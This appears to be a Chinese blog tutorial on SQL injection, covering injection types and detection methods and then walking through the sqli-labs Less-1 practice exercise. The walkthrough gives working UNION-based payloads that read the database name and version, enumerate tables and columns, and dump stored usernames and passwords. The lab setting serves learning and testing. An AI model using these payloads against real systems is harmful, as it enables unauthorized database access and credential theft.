SQL注入

目录

1、原理

2、sql注入的类型

2.1 数字型注入点

2.2 字符型注入点

 2.3 搜索型注入点

2.4 按照数据提交的方式分类

2.5 sql漏洞探索方法

3、复现

3.1 Less-1 


1、原理

        SQL 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的 sql 语句来实现对数据库的任意操作。

2、sql注入的类型

2.1 数字型注入点

        执行数据库查询,并在回显点展示。 用户可以看到数据库查询出错时的错误语句,就可以观察报错语句分析出查询语句结构,从而构造特殊的payload进行注入,并从回显点中获取想要的信息。 (与报错注入不同在拥有回显点,报错注入没有回显点需要通过错误信息查看结果)

2.2 字符型注入点

        其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name=‘admin’ 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:我们需要将这些烦人的引号给处理掉。

select * from 表名 where name='admin' and 1=1 '

 2.3 搜索型注入点

        这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 “keyword=关键字” 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like ‘%关键字%’ 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:

select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

2.4 按照数据提交的方式分类

  1.  get注入:提交数据的方式是 GET , 注入点的位置在 GET 参数部分。
  2. post注入:使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
  3. cookie注入:HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
  4. http头部注入:注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

2.5 sql漏洞探索方法

  • 先加单引号’、双引号"、等看看是否报错,如果报错就可能存在SQL注入漏洞了。
  • 在URL后面加 and 1=1 、 and 1=2 看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了。
  • 还有就是Timing Attack测试,也就是时间盲注。通过简单的条件语句比如 and 1=2 是无法看出异常的。在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。 Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。

3、复现

3.1 Less-1 

1)我们首先判断是否存在sql注入,提示我们输入数字值的ID作为参数,我们输入一个id=1

SQL注入_第1张图片

2) 当我们输入id=1 与id=2时返回的内容不同,所以我们输入的内容是带入到数据库里面查询了。

SQL注入_第2张图片

SQL注入_第3张图片

3)接下来我们判断sql语句是否是拼接,且是字符型还是数字型。

SQL注入_第4张图片 SQL注入_第5张图片

        可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。 

4)联合注入,首先要知道表格有几列,使用的是 order by 如果报错的话就是超过列数,反之。

SQL注入_第6张图片

SQL注入_第7张图片 由此我们得出结论:他是一个三列的。

确定显示位:

SQL注入_第8张图片

 我们可以看出显示位是2和3,我们下一步就是把2和3替代掉:

?id=-1'union select 1,database(),version()--+

 这样我们就可以得出数据库名和数据库的版本信息。SQL注入_第9张图片

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

        该语句解释:   information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。 

 我们这里得到了四个表名,根据表名我们可以大胆设想账户和密码在user表中:SQL注入_第10张图片

 ?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

        该语句解释:是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。

SQL注入_第11张图片

        通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。 

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

 SQL注入_第12张图片

我们可以看到这里已经查询到了账户名和对应的密码;

我们打开数据库可以来对比一下:与前面的查询一一对应。

SQL注入_第13张图片

 

你可能感兴趣的:(sql)